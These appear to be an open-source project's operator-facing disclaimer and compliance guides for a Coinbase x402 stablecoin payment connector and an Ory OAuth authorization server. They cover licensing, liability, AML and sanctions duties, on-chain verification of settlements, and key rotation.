* **"Payee"** means the party whose receiving address is funded as a result of the Payer's signed transaction. In the typical Glide deployment the Payee is a Glide-managed account controlled by the Operator's customer.
* **"On-Chain"** means the public ledger of the network on which settlement occurs (e.g., Base, Solana, or any other network the Operator configures the Connector to use).
## 2. Vendor relationship — Glide is NOT Coinbase
The Connector is an unaffiliated, independent adapter. Glide:
* has no commercial relationship with Coinbase that grants Operators any rights to the Coinbase Developer Platform or to `x402.coinbase.com`;
* does not redistribute, sublicense, or resell any Coinbase software, API access, or facilitator capacity;
* does not act as agent, partner, joint venturer, broker, or representative of Coinbase, and the Connector's existence does not imply endorsement, certification, or sponsorship by Coinbase or by any other Vendor;
* does not warrant that the Connector is or will remain compatible with Coinbase's facilitator, that Coinbase will continue to operate the facilitator, or that Coinbase's terms permit any particular use case the Operator has in mind.
If the Operator runs the Connector against `x402.coinbase.com` (or any other Coinbase-operated endpoint), the Operator must independently:
1. Hold an active Coinbase Developer Platform account in the Operator's own legal name;
2. Comply with the Coinbase Developer Platform Terms of Service, the x402 facilitator-specific terms (if any), and all other Coinbase policies (collectively, "**Vendor ToS**"), as those documents may be amended from time to time;
3. Hold whatever underlying licenses, registrations, charters, or money-transmitter authorities are required to settle stablecoin payments to and from the Operator's customers in every jurisdiction where the Operator offers the service.
**The Connector does not establish, transmit, accept, or imply a contract between the Operator and Coinbase.** Such a contract is the Operator's sole responsibility to procure and maintain.
## 3. Self-hosted facilitator path — the escape hatch
The x402 protocol is open, and Coinbase publishes a reference open-source facilitator implementation at [https://github.com/coinbase/x402](https://github.com/coinbase/x402). The Connector treats the facilitator URL as configuration, not as an embedded constant. Any Operator who cannot, will not, or prefers not to enter into the Vendor ToS may instead deploy their own facilitator and point the Connector at it by setting:
```
X402_FACILITATOR_URL=https://my-facilitator.example.com
```
Choosing the Self-Hosted Facilitator Path eliminates the Vendor ToS dependency but **does not** eliminate the Operator's settlement, AML, sanctions, money-transmitter, consumer-protection, tax, or other regulatory obligations. A Self-Hoster takes on every duty that the Vendor would otherwise have discharged at the facilitator layer (see §6 and `COMPLIANCE.md` §"Self-hosted facilitator").
Self-hosting is the Operator's explicit fallback whenever the Vendor relationship breaks (denial, suspension, termination, geographic ineligibility, contract dispute, downtime, or strategic preference). Glide commits to keeping `X402_FACILITATOR_URL` configurable and to not introducing any Vendor lock-in into the Connector's runtime path.
## 4. License grant; reservation of rights
The Connector is licensed under the MIT License (see the project [LICENSE](https://github.com/glide-co/glide-mono/blob/main/LICENSE)). Subject to the LICENSE, Glide grants the Operator a non-exclusive, royalty-free right to use, copy, modify, and redistribute the Connector source. **No other rights are granted, expressly or by implication.** In particular:
* No license is granted to any Coinbase trademark, service mark, logo, API key, hosted-facilitator capacity, or proprietary documentation. Those rights, if any, must be obtained directly from Coinbase under the Vendor ToS.
* No license is granted to any Glide trademark or service mark. The "Glide" and "Axtior" names and logos are reserved.
* The x402 specification itself is published openly by its maintainers; nothing in this document grants or withholds any rights in that specification.
* All rights not expressly granted in the LICENSE are reserved by Glide and its contributors.
## 5. NO WARRANTY; AS IS / AS AVAILABLE
THE CONNECTOR IS PROVIDED "**AS IS**" AND "**AS AVAILABLE**", WITH ALL FAULTS AND WITHOUT WARRANTY OF ANY KIND, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING WITHOUT LIMITATION ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE, NON-INFRINGEMENT, ACCURACY, COMPLETENESS, OR QUIET ENJOYMENT.
WITHOUT LIMITING THE FOREGOING, GLIDE SPECIFICALLY DISCLAIMS ANY WARRANTY:
* THAT THE CONNECTOR WILL OPERATE UNINTERRUPTED, ERROR-FREE, OR SECURE;
* THAT ANY VENDOR (INCLUDING COINBASE) WILL ACCEPT, VERIFY, OR SETTLE ANY GIVEN PAYMENT;
* THAT ANY FACILITATOR'S `verify` OR `settle` RESPONSE — INCLUDING ANY `transaction` IDENTIFIER IT RETURNS — WILL CORRESPOND TO A REAL, FINAL, OR FRAUD-FREE ON-CHAIN EVENT (see §6 / F1 IRON RULE);
* THAT THE ON-CHAIN NETWORK WILL CONFIRM, FINALIZE, OR PRESERVE ANY TRANSACTION, OR THAT TRANSACTIONS WILL NOT BE REORGANIZED, FRONT-RUN, CENSORED, OR REVERSED;
* THAT USE OF THE CONNECTOR IS LAWFUL IN ANY GIVEN JURISDICTION;
* THAT ANY VENDOR ToS OR REGULATORY REGIME WILL REMAIN STABLE.
ON-CHAIN PAYMENTS ARE GENERALLY IRREVERSIBLE. THE OPERATOR ACCEPTS THAT NEITHER GLIDE NOR ANY FACILITATOR CAN UNWIND A SETTLED ON-CHAIN TRANSFER.
## 6. Operator obligations
By using the Connector, the Operator covenants and agrees that the Operator will:
1. **Hold a valid Vendor contract OR run a Self-Hosted Facilitator.** The Operator must, before pointing the Connector at any non-mock facilitator, either (a) hold an active and unsuspended Vendor account in good standing under the Vendor ToS, or (b) operate a facilitator that the Operator itself controls and is licensed to run. The Operator must not proxy, sublicense, share, or otherwise resell access to any Vendor facilitator account.
2. **F1 IRON RULE — RPC-verify before persisting.** The Operator MUST treat any `transaction` identifier returned by a Facilitator's `/settle` response as **untrusted input**. Before recording, exposing, crediting, releasing, or otherwise relying on any such transaction, the Operator MUST independently fetch the transaction from a trusted full node or RPC endpoint, confirm the on-chain effects (correct asset, network, sender, receiver, amount, finality threshold), and only then persist. A facilitator may lie, hallucinate, replay, or be compromised; treat its claim as a hint, not a fact. See `COMPLIANCE.md` §"F1 IRON RULE".
3. **Comply with payment law.** The Operator is solely responsible for all applicable money-transmission, money-services-business, e-money, payment-services, virtual-asset, banking, securities, commodities, consumer-protection, tax (including 1099-K / DAC8 / CARF where applicable), AML/CTF, sanctions (OFAC, UN, EU, UK HMT, and any other relevant regime), GDPR/CCPA/other-privacy, and licensing requirements that attach to the Operator's offering, including obtaining any state Money Transmitter Licenses (MTL), federal FinCEN MSB registration, or non-US equivalent registrations or authorizations applicable in the Operator's chosen jurisdictions.
4. **Customer-facing terms.** The Operator must publish its own terms of service, privacy policy, and risk disclosures to its customers, and must accurately describe (and not misrepresent) the role of any Vendor or Facilitator in the settlement chain. The Operator must not represent to its customers that Glide or any Glide contributor is a party to or guarantor of any payment.
5. **Sanctions and screening.** The Operator must implement and maintain sanctions screening sufficient to prevent the Connector from facilitating prohibited transactions in the Operator's jurisdictions. The fact that a Vendor performs its own screening is not a substitute for the Operator's program where the Operator is itself a regulated entity.
6. **Self-Hosted Facilitator additional duties.** A Self-Hoster must additionally: (a) maintain control of the facilitator's signing keys and infrastructure; (b) implement at the facilitator layer all sanctions / AML / fraud / abuse controls that are required of a money-transmitting facilitator in the Self-Hoster's jurisdictions; (c) run with current x402-spec security patches; (d) not represent the self-hosted facilitator as a Coinbase or Vendor service.
7. **No regulator-evading routing.** The Operator must not use the Connector to accept payments from, route to, or service customers in any jurisdiction in which the Operator is not licensed or otherwise legally permitted to operate.
8. **No misrepresentation of Glide.** The Operator must not represent that Glide, Axtior Inc., or any contributor has reviewed, approved, certified, or insured the Operator's deployment, except to the extent the Operator faithfully reproduces Glide's own published statements without alteration.
## 7. Risk allocation
To the maximum extent permitted by applicable law:
1. **Limitation of liability.** In no event will Glide, Axtior Inc., their affiliates, or any Glide contributor be liable to the Operator or to any third party for any indirect, incidental, special, consequential, exemplary, or punitive damages, or for any lost profits, lost revenue, lost data, lost goodwill, business interruption, regulatory fines, settlement-finality losses, on-chain reorganization losses, or substitute-product procurement costs, arising out of or in connection with the Connector or the Vendor ToS, even if Glide has been advised of the possibility of such damages. The aggregate liability of Glide and the Glide contributors for any direct damages arising out of or relating to the Connector is limited to one hundred U.S. dollars (US\$100), reflecting that the Connector is OSS distributed without fee.
2. **Operator indemnity.** The Operator will defend, indemnify, and hold harmless Glide, Axtior Inc., their affiliates, officers, directors, employees, agents, and contributors (collectively, the "**Glide Parties**") from and against any and all claims, demands, investigations, actions, fines, penalties, damages, losses, costs, and expenses (including reasonable attorneys' fees) arising out of or related to: (a) the Operator's deployment, configuration, distribution, or use of the Connector; (b) the Operator's failure to comply with any Vendor ToS, applicable law, or §6 obligations above; (c) any Operator-customer dispute, regulatory enforcement action, sanctions violation, or tax assessment connected to payments routed through the Connector; (d) any claim that the Operator misrepresented the role of Glide or any Vendor; or (e) the Operator's failure to RPC-verify under the F1 IRON RULE.
3. **No agency.** Nothing in this document creates a partnership, joint venture, agency, employment, or fiduciary relationship between Glide and the Operator or between Glide and any Vendor.
4. **Force majeure / out-of-scope events.** Glide has no control over: (a) Vendor uptime, decisions, policy changes, account actions, or terms-of-service amendments; (b) blockchain network behavior, including reorganizations, fee markets, censorship, validator misbehavior, or finality changes; (c) regulator actions, court orders, sanctions designations, or law changes; (d) the Operator's customers, counterparties, or downstream users. The Glide Parties have no obligation to mitigate, work around, or compensate the Operator for any loss arising from any of (a)–(d). The Operator's sole remedy for such events is to switch facilitators (including to the Self-Hosted Facilitator Path under §3) or to stop using the Connector.
## 8. Termination and survival
1. The Operator's permission to use the Connector is granted under the LICENSE and continues for so long as the Operator complies with the LICENSE and this document. The Operator may stop using the Connector at any time.
2. If the Operator's Vendor ToS is suspended or terminated by the Vendor (e.g., Coinbase terminates the Operator's Coinbase Developer Platform agreement), the Operator must immediately stop routing live traffic through that Vendor's facilitator. The Self-Hosted Facilitator Path in §3 remains available, subject to the Operator's regulatory posture.
3. The disclaimers (§5), Operator obligations (§6.2 and §6.3 to the extent referencing already-settled transactions, and §6.8), risk allocation (§7), this §8, and §9–§11 below survive any cessation of the Operator's use of the Connector, indefinitely.
4. **No Glide-side cure mechanism.** Glide does not operate a support desk, ticketing system, status SLA, or escalation channel for the Connector. If the Operator's Vendor relationship breaks, Glide cannot intervene with the Vendor on the Operator's behalf. The Self-Hosted Facilitator Path (§3) is the Operator's first-class fallback; community channels are best-effort.
## 9. Governing law and dispute resolution
1. **Governing law.** This document is governed by the laws of the State of Delaware, USA, without regard to its conflict-of-laws rules. The UN Convention on Contracts for the International Sale of Goods does not apply.
2. **Forum.** Any dispute, claim, or controversy arising out of or relating to this document or the Connector that the parties cannot resolve through good-faith negotiation will be submitted to confidential binding arbitration administered by JAMS under its Streamlined Arbitration Rules, before a single arbitrator, seated in San Francisco, California, USA, with the award enforceable in any court of competent jurisdiction. The Operator and Glide each irrevocably waive any right to a jury trial. Notwithstanding the foregoing, either party may seek injunctive relief in a court of competent jurisdiction in Delaware or California to protect its intellectual property or to enforce §6 obligations pending arbitration. **Class actions and consolidated arbitrations are waived to the maximum extent permitted by law.**
3. **Operator-vs-Vendor disputes are not Glide's.** Any dispute between the Operator and any Vendor (including Coinbase) is solely between those two parties and is not Glide's responsibility, even if the dispute arises in connection with the Connector. Glide will not be a party to, indemnify, or be required to participate in any such dispute.
## 10. IP and confidentiality (vendor pass-through)
1. The Connector source itself is MIT-licensed and not confidential.
2. Coinbase and other Vendors may treat their API behavior, error codes, rate-limit schedules, internal documentation, beta programs, or unannounced features as confidential under the Vendor ToS. The Operator is responsible for honoring any such Vendor confidentiality obligations and must not assume that observations made through the Connector are public information. Glide makes no warranty about whether the Connector's logs, traces, or telemetry might inadvertently capture Vendor-confidential material; the Operator is responsible for its own logging hygiene.
## 11. Anti-abuse and integrity
The Operator agrees not to:
1. proxy, multiplex, or otherwise share access to a single Vendor account with multiple unrelated downstream users in a manner that violates the Vendor ToS;
2. circumvent or disable the F1 IRON RULE, the egress-host CI gate, the manifest's declared egress surface, or any other safety control shipped with the Connector;
3. accept payments routed through the Connector in jurisdictions where the Operator is not licensed or otherwise legally permitted to operate;
4. use the Connector to evade sanctions, AML controls, KYC obligations, or tax reporting;
5. misrepresent the Connector's vendor relationships (see §2 and §6.8) to Operator's customers, regulators, or counterparties.
A breach of this §11 is a material breach and is a basis for indemnity under §7.2.
## 12. Mock and test mode
The Connector ships with `__tests__/_mock` test doubles. They make no network calls and never interact with a real facilitator or chain. Mock mode is for development and CI only; it is not an authorization to bypass §6 in production traffic.
## 13. Updates to this document
Glide may update this document from time to time as part of OSS releases. The version of this document that governs the Operator's use is the version distributed in the Operator's installed copy of the package. Operators should re-read this document when upgrading.
## 14. Severability
If any provision of this document is held unenforceable, that provision will be modified to the minimum extent necessary to make it enforceable, and the remainder of this document will remain in full force.
## 15. Acknowledgement
By installing or running the Connector, the Operator acknowledges having read, understood, and accepted the terms of this document and the LICENSE. **If the Operator does not accept these terms, the Operator must not use the Connector.**
***
## Prior art and references
* [x402 specification](https://x402.org)
* [x402 reference facilitator (open source)](https://github.com/coinbase/x402)
* [Glide LICENSE](https://github.com/glide-co/glide-mono/blob/main/LICENSE) (MIT)
* Companion document: [`COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/coinbase-x402/COMPLIANCE.md)
# Compliance — `@repo/connectors-coinbase-x402`
**Status:** Ready for counsel review. Not yet counsel-reviewed. This document is operator-facing engineering guidance, not legal advice. Read together with [`DISCLAIMER.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/coinbase-x402/DISCLAIMER.md); the definitions there control.
## 30-second summary
> The Connector is an MIT adapter. Glide is not regulated. The Operator is. Bring your own Coinbase contract or run your own facilitator. RPC-verify every settlement before persisting (F1 IRON RULE — §2). Run the §8 pre-deployment checklist before going live. Get qualified counsel for the §13 open questions.
***
This document tells the Operator what the Connector does, what it does not do, and what the Operator must do for the Connector to be deployed lawfully. The Connector is an MIT-licensed adapter to the x402 Payment Protocol. **Glide is not a money transmitter, not a bank, not a regulated payments business, and not a party to any settlement that occurs through the Connector.**
## 1. Vendor and posture
| Field | Value |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Default Vendor | Coinbase Developer Platform — hosted x402 facilitator at `x402.coinbase.com` (operated by Coinbase, Inc. and/or its affiliates). |
| Vendor docs | [https://docs.cdp.coinbase.com/](https://docs.cdp.coinbase.com/) |
| AML posture | `vendor-screened` when the Operator routes through Coinbase's hosted facilitator. `operator-screened` when the Operator runs a Self-Hosted Facilitator. |
| Vendor contract holder | The Operator. **Not Glide.** |
| Connector license | MIT (see project [`LICENSE`](https://github.com/glide-co/glide-mono/blob/main/LICENSE)). |
| Glide regulatory role | None. Glide is OSS. Glide does not custody, transmit, screen, or settle Operator funds. |
The Vendor URL is configurable via the `X402_FACILITATOR_URL` environment variable. The Connector has no hardcoded reliance on Coinbase; any RFC-compatible x402 facilitator (including a Self-Hosted Facilitator) can be substituted without code changes. See [`DISCLAIMER.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/coinbase-x402/DISCLAIMER.md) §3 for the Self-Hosted Facilitator Path.
## 2. F1 IRON RULE — facilitator transaction IDs are NOT trusted
This is the Connector's load-bearing money-safety rule. **It is non-negotiable.**
A Facilitator's `/settle` response includes a `transaction` field. The Operator MUST treat that field as **untrusted, attacker-controlled input** and MUST NOT persist it, expose it to a customer, credit a balance, release goods, or otherwise act on it without first independently verifying the on-chain state.
**Required RPC verification before persisting any settlement:**
1. Fetch the transaction by hash from a trusted full node or RPC provider that the Operator controls (or with a contractual obligation that the Operator can enforce). Do **not** rely on the Facilitator to be that source of truth.
2. Confirm the transaction is included in a block on the expected network (chain ID).
3. Confirm `from`, `to`, asset (token contract), and amount match the Operator's `PaymentRequirements` — including the case where a transferWithAuthorization moves funds via `transferFromAuthorization` semantics.
4. Confirm the transaction has reached the Operator's required finality threshold (e.g., for Base: depth + L1 batch confirmation as appropriate; for Solana: appropriate commitment level). Re-orgs and rollback windows are real on every chain.
5. Only after (1)–(4) succeed, persist the on-chain hash as the canonical record.
If any of (1)–(4) fail, the Operator must treat the settlement as **not occurred**, refuse to credit, and surface the discrepancy to the Operator's incident-response process.
The reference implementation of this verification is in `apps/mcp` as the `serverFetchChainTx` dependency injected into the `x402.pay` MCP tool. Use it, fork it, or substitute equivalent logic — but do not skip it.
> A Facilitator may lie. Treat the claim as a hint, not a fact.
## 3. Data and residency
The Connector sends the following fields to the configured Facilitator on `/verify` and `/settle`:
* the EIP-712 `transferWithAuthorization` signature (or, for Solana, the signed transaction);
* the `resource` URL the Payer is fetching;
* the `network`, `asset`, and `amount`;
* the Payee receiving address (the Glide-managed account address) and the Payer wallet address as embedded in the signed payload.
The Connector does **not** send Glide-side end-user PII (name, email, government IDs, IP-derived geo, etc.) to the Facilitator. The Payer's wallet address and the Payee's receiving address are blockchain identifiers that are by their nature pseudonymous-public. Operators who wish to add fields to the request body for their own audit are responsible for the resulting privacy posture.
When the Operator uses Coinbase's hosted facilitator, request payloads transit Coinbase-controlled infrastructure (US). When the Operator runs a Self-Hosted Facilitator, payloads transit the Operator's own infrastructure in whatever region the Operator deploys.
## 4. AML, sanctions, and screening responsibilities
### 4.1 Hosted-facilitator path
When the Operator routes through `x402.coinbase.com`:
* Coinbase performs its own sanctions screening (OFAC SDN, EU, UN, UK HMT, and other regimes Coinbase elects) on the participating wallet addresses as part of the facilitator's verify+settle path. Glide does not duplicate that screening at the Connector layer because the Vendor is contractually positioned as the screening checkpoint.
* The Operator nevertheless remains responsible for any sanctions / AML obligation imposed on the Operator as a regulated entity, including but not limited to: maintaining its own customer KYC, transaction-monitoring, SAR/STR filing, OFAC compliance program, and travel-rule data exchange where applicable. The fact that the Vendor screens does **not** discharge the Operator's own program where one is required.
* The Operator is responsible for verifying that its Vendor ToS permits the Operator's specific use cases (e.g., custodial, non-custodial, B2B, B2C, embedded finance, agent-driven payments).
### 4.2 Self-Hosted Facilitator path
When the Operator runs a Self-Hosted Facilitator, the Operator inherits **every** AML / sanctions / fraud / abuse responsibility that the Vendor would otherwise have shouldered. At minimum the Operator must:
* screen Payer and Payee wallet addresses against current OFAC SDN, EU consolidated, UN, UK HMT, and any other applicable lists before signing settlement;
* log and retain settlement decisions for the period required by the Operator's regulator (typically 5 years for FinCEN-regulated MSBs);
* maintain a sanctions and AML compliance program proportionate to the Operator's volume and risk;
* be prepared to respond to law-enforcement and regulator information requests.
A Self-Hosted Facilitator that lacks these controls is the Operator's compliance gap, not Glide's.
### 4.3 Glide does not screen on the Operator's behalf
The Connector layer cross-checks the on-chain transaction via RPC (the F1 IRON RULE) but does **not** perform sanctions screening. Operators who want belt-and-braces screening should integrate `packages/sanctions/` (Chainalysis adapter) at their persistence boundary, ahead of crediting any customer balance.
## 5. Money-transmission posture
Stablecoin payments through the Connector may, depending on the Operator's offering, jurisdiction, and counterparties, constitute "money transmission", "money services", "e-money", "payment services", or "virtual-asset services" under one or more of:
* the U.S. Bank Secrecy Act and FinCEN MSB rules (31 CFR Chapter X);
* U.S. state money-transmitter licensing regimes (the patchwork of 49+ state MTL regimes and the Money Transmission Modernization Act where adopted);
* the EU Markets in Crypto-Assets Regulation (MiCAR), the Payment Services Directive (PSD2/PSD3), and the e-Money Directive;
* the UK FCA's e-money / payment-services / cryptoasset registration regimes;
* any equivalent regime in any jurisdiction where the Operator's customers are located.
**Determining which of these apply to the Operator's offering, and obtaining the required registrations / licenses, is the Operator's exclusive responsibility.** Glide does not give regulatory advice and the Connector does not encode any opinion about whether a given Operator deployment requires a license. Operators must obtain qualified counsel.
## 6. Tax reporting
Stablecoin transfers may trigger tax reporting obligations including but not limited to:
* IRS Form 1099-K (US, where the Operator is a third-party settlement organization);
* IRS Form 1099-DA (US, for digital-asset broker reporting where applicable);
* the OECD Crypto-Asset Reporting Framework (CARF);
* the EU DAC8 directive;
* VAT / GST treatment of any fees the Operator charges.
The Connector does not produce tax reporting artifacts. Operators must build or contract their own tax-reporting layer.
## 7. Privacy and data protection
* The Connector itself does not log Payer or Payee identity beyond on-chain addresses, which are pseudonymous-public by design.
* If the Operator joins on-chain addresses to its own customer records (KYC, name, email, etc.), the resulting dataset becomes "personal data" under GDPR / UK GDPR / CCPA / similar regimes. The Operator is the controller of that dataset and is responsible for: lawful basis, DPIAs where required, data-subject-rights handling, breach notification, and cross-border transfer mechanisms.
* The Operator must publish its own privacy notice describing the Vendor / Facilitator data flows.
* Glide makes no representation about Vendor data-protection compliance; the Operator must verify the Vendor's posture independently under the Vendor ToS and applicable DPA.
## 8. Operator pre-deployment checklist
Before pointing the Connector at a non-mock facilitator in production, the Operator should be able to answer **yes** to every item below.
* [ ] I hold an active Coinbase Developer Platform agreement in my own legal name (hosted-facilitator path) **or** I operate my own x402 facilitator under my control (self-hosted path).
* [ ] I have determined which money-transmission, MSB, MTL, e-money, payment-services, or virtual-asset registrations / licenses apply to my offering, and I hold them.
* [ ] I have a documented sanctions / AML compliance program proportionate to my volume and risk; if I'm running self-hosted, that program covers Payer and Payee wallet screening at the facilitator layer.
* [ ] I have implemented the F1 IRON RULE: every settlement is RPC-verified before persistence; I do not rely on the Facilitator's claimed `transaction` ID.
* [ ] I have a customer-facing terms of service, privacy notice, and risk disclosure that accurately describes the role of the Vendor (or my Self-Hosted Facilitator) and that does not misrepresent Glide as a party.
* [ ] I have a tax-reporting plan that covers 1099-K / 1099-DA / CARF / DAC8 / VAT as applicable.
* [ ] I have an incident-response plan for the case where the Vendor terminates my account, suspends the facilitator, or returns malicious / inconsistent data.
* [ ] I have read [`DISCLAIMER.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/coinbase-x402/DISCLAIMER.md) §6 (Operator obligations) and §7 (risk allocation) and accept them.
## 9. Jurisdiction and availability
The Connector source is globally available under MIT. **Glide does not represent that the Connector may be lawfully run from, or used to serve customers in, any particular jurisdiction.** Practical constraints the Operator should expect:
* The Coinbase Developer Platform is available only in the jurisdictions Coinbase elects, on the terms Coinbase elects.
* Stablecoin payment services are restricted, conditional, or prohibited in many jurisdictions.
* US Federal sanctions (OFAC) and equivalent regimes (EU, UK, UN) prohibit transactions with sanctioned wallet addresses, persons, and jurisdictions; this restricts the Operator's customer base regardless of which facilitator path is chosen.
**Do not accept payments in jurisdictions where you are not licensed or otherwise legally permitted to operate.** This is also restated as a covenant in [`DISCLAIMER.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/coinbase-x402/DISCLAIMER.md) §6.7 and §11.3.
## 10. Mock and test mode
The Connector exposes `FacilitatorClient` as an interface and ships test doubles in `src/__tests__/_mock/`. In tests and dev environments, pass a mock implementation to `handleX402Request` to exercise the receiver flow without ever reaching a Vendor or chain. Mock mode is for development and CI only and is not a substitute for any real-world compliance posture.
## 11. Egress surface
The Connector's manifest declares the following egress hosts:
* `api.cdp.coinbase.com` — Coinbase Developer Platform auth and key APIs.
* `x402.coinbase.com` — Coinbase-hosted x402 facilitator.
* `facilitator.x402.io` — fallback / community-hosted facilitator.
Plus any host the Operator configures via `X402_FACILITATOR_URL`. Glide's egress-host CI gate enforces that no other host is reached at runtime; Operators must not disable that gate.
## 12. Vendor-termination playbook
If the Vendor (Coinbase) suspends or terminates the Operator's account:
1. Immediately stop routing live traffic at the Vendor's facilitator URL. Set `X402_FACILITATOR_URL` to a working endpoint or take the integration offline.
2. The Operator must continue to honor any on-chain transactions that have already settled and been RPC-verified, regardless of Vendor termination.
3. The Self-Hosted Facilitator Path remains available as a fallback. Standing it up takes operational and compliance work; do not assume same-day cutover.
4. Communicate the change to customers per the Operator's customer terms.
5. Document the cause for any audit or successor regulator review.
Termination of the Vendor relationship does not terminate the Operator's regulatory or customer-contract obligations, and does not end the survival provisions in [`DISCLAIMER.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/coinbase-x402/DISCLAIMER.md) §8.3.
## 13. Open questions for counsel review
Items the operator's counsel should confirm before the Operator launches:
* Does the Operator's specific use case (custodial vs. non-custodial; consumer vs. business; agent-driven vs. human-driven) require a state MTL, federal FinCEN MSB registration, MiCAR CASP authorization, FCA cryptoasset registration, or equivalent in each Operator jurisdiction?
* Does the Vendor ToS, as currently in force, permit the Operator's specific architecture (e.g., agentic payments, machine-to-machine, multi-tenant, embedded finance)?
* What sanctions-screening obligations attach to the Operator independently of the Vendor's screening?
* What tax-reporting forms must the Operator file in each jurisdiction?
* What customer disclosures (TILA / Regulation Z / Reg E / FCA / EU consumer-credit / e-money disclosures) must the Operator surface in its customer-facing UI?
These questions are out of scope for the Connector and out of scope for Glide.
***
**Companion document:** [`DISCLAIMER.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/coinbase-x402/DISCLAIMER.md) — vendor relationship, license posture, warranty disclaimer, risk allocation, dispute resolution, anti-abuse covenants.
# Ory vendor posture
Source: https://glide-9da73dea.mintlify.app/oss/legal/vendor-ory
Operator-facing disclaimer + compliance brief for the OAuth Authorization Server (Ory Network or self-hosted Hydra).
**Canonical source:** [`docs/legal/`](https://github.com/darshanbathija/axtior-neobank/blob/main/docs/legal/)
This page mirrors the canonical file. For execution, copy from the source repo to ensure latest revisions.
# DISCLAIMER — Ory (OAuth Authorization Server)
## TL;DR
Glide's MCP surface validates OAuth JWTs but does not mint them. **You (the "Operator") must run your own OAuth Authorization Server.** Glide supports two equally-valid paths and steers you toward neither:
1. **Ory Network** — Ory Corp's hosted SaaS. You sign up at `console.ory.sh`, accept Ory's terms, and supply your project URL.
2. **Self-hosted Ory Hydra OSS** — Apache-2.0 licensed. You run `docker-compose.hydra.yml` on your own infrastructure.
Both are first-class. Choose based on infrastructure comfort, data-residency obligations, and budget. **Operating Glide's MCP surface in production without one of these two is unsupported.**
## What Glide actually ships
Glide's headless / MCP cathedral (`apps/mcp`) does not mint OAuth tokens itself. It validates JWTs minted by an external **OAuth 2.0 + OpenID Connect Authorization Server** ("AS") via its public JWKS endpoint, configured through `MCP_JWKS_URL`, `MCP_ISS_URL`, and `MCP_AUDIENCE`. **Glide is not an identity provider. Glide does not host the AS, does not rotate signing keys, does not retain end-user PII at the AS layer, and is not a party to the Operator's relationship with any AS vendor.**
Per the OSS plan (§M2.5), Glide redistributes neither Ory Network nor Hydra binaries. Glide ships only (a) MIT-licensed adapter code that consumes a JWKS URL and (b) a Docker compose overlay that pulls upstream `oryd/hydra` images at runtime. Glide does not bundle Ory's hosted-tier credentials and does not proxy Ory Network on behalf of third parties.
The two paths in detail:
1. **Ory Network** — Ory Corp's hosted SaaS AS at `*.projects.oryapis.com`. A free tier exists; commercial tiers are governed by Ory's published terms. The Operator signs up at `console.ory.sh`, accepts Ory's then-current terms, provisions OAuth clients via the Ory CLI, and supplies the project URL + workspace API key to Glide.
2. **Self-hosted Ory Hydra OSS** — Apache-2.0 licensed AS shipped via `docker-compose.hydra.yml` and bootstrapped by `scripts/hydra-bootstrap.sh`. The Operator runs Hydra v2.2.0 + its own Postgres + a consent UI on their own infrastructure under the Apache-2.0 license terms.
If you do not yet have either path provisioned, set the dev-secret HMAC verifier (`MCP_TOKEN_VERIFIER_DEV_SECRET`, ≥32 chars) and run in development. **The dev-secret verifier is NOT FIT FOR PRODUCTION** — it shares an HMAC across MCP and the token issuer, defeating the JWKS posture's blast-radius isolation.
The remainder of this notice is a plain-language summary of risk allocation between Glide (the OSS project) and the Operator (you). It is **not legal advice**, has **not been reviewed by counsel**, and does not modify the MIT license under which the Glide source code is distributed.
## License posture
* Glide source: MIT. The grant covers Glide's adapter code; it does not extend to upstream Ory software, Ory Network's hosted service, or Ory Corp's trademarks.
* Ory Hydra OSS: Apache-2.0. Operators self-hosting Hydra accept the Apache-2.0 license directly with the Ory authors.
* Ory CLI: Apache-2.0. Same posture as Hydra.
* Ory Network: a paid SaaS service governed by Ory Corp's published terms. Glide is not a reseller, distributor, or sub-licensor.
All trademarks, service marks, and product names of Ory Corp are property of their respective owners. References to "Ory," "Ory Hydra," and "Ory Network" in this repository are nominative.
## "AS IS, AS AVAILABLE"
Glide's adapter, the compose overlay, and the bootstrap script are provided **AS IS and AS AVAILABLE**, without warranty of any kind, express or implied, including but not limited to warranties of merchantability, fitness for a particular purpose, non-infringement, accuracy, AS uptime, key-rotation timeliness, or detection of token compromise. **Glide does not warrant that any AS — Ory Network or self-hosted Hydra — will be available, performant, free of security defects, or compliant with any particular regulatory regime.** The Operator is solely responsible for monitoring the AS, rotating signing keys on a documented cadence, and detecting / responding to token-compromise events.
## Risk allocation (plain-language summary)
The Glide MIT license disclaims all liability to the maximum extent permitted by law. In particular, the OSS authors disclaim and the Operator accepts:
* **Liability cap.** To the maximum extent permitted by law, the aggregate liability of Glide, its contributors, and its affiliates arising out of or related to this adapter, compose overlay, or bootstrap script is limited to USD \$0 (the price paid for MIT-licensed software). Where local law mandates a non-zero cap, the cap is the lowest amount permitted by that law.
* **Direct, indirect, incidental, special, exemplary, and consequential damages** are excluded — including but not limited to lost profits, lost revenue, lost data, lost goodwill, business interruption, regulatory fines, and reputational harm.
* **Token-compromise blast radius.** If a JWT signing key, client secret, or workspace API key leaks, the Operator is solely responsible for revocation, rotation, and any user / regulator notification obligations. Glide cannot revoke tokens at the AS on the Operator's behalf.
* **AS outage.** If Ory Network or a self-hosted Hydra goes down and MCP tokens fail verification, the Operator's product surface degrades. Glide does not commit to an SLA for either AS path.
* **Indemnification.** The Operator indemnifies, defends, and holds harmless Glide and its contributors against any third-party claim, action, or proceeding arising from the Operator's deployment, configuration, or use of the AS, including (without limitation) claims by end users, regulators, or Ory Corp.
Where local law does not permit some or all of these disclaimers, the disclaimers apply to the maximum extent permitted by law.
## Operator obligations
By operating Glide's MCP surface in production, the Operator agrees to:
1. Hold a valid Ory Network relationship **OR** self-host Hydra OSS in compliance with Apache-2.0; do not attempt to use Ory Network without accepting Ory Corp's terms.
2. Run a single-tenant AS per Operator. Do not proxy Ory Network on behalf of unrelated third parties; do not share signing keys across environments (dev / staging / prod each get their own).
3. Rotate the AS signing keys on a documented cadence (Glide recommends quarterly minimum; rotate immediately on suspected compromise). Ory Network rotates JWKS automatically on its tier-defined schedule; self-hosters configure rotation themselves.
4. Monitor MCP `/health` and the AS's discovery / JWKS endpoints. If verification begins failing, treat as an incident.
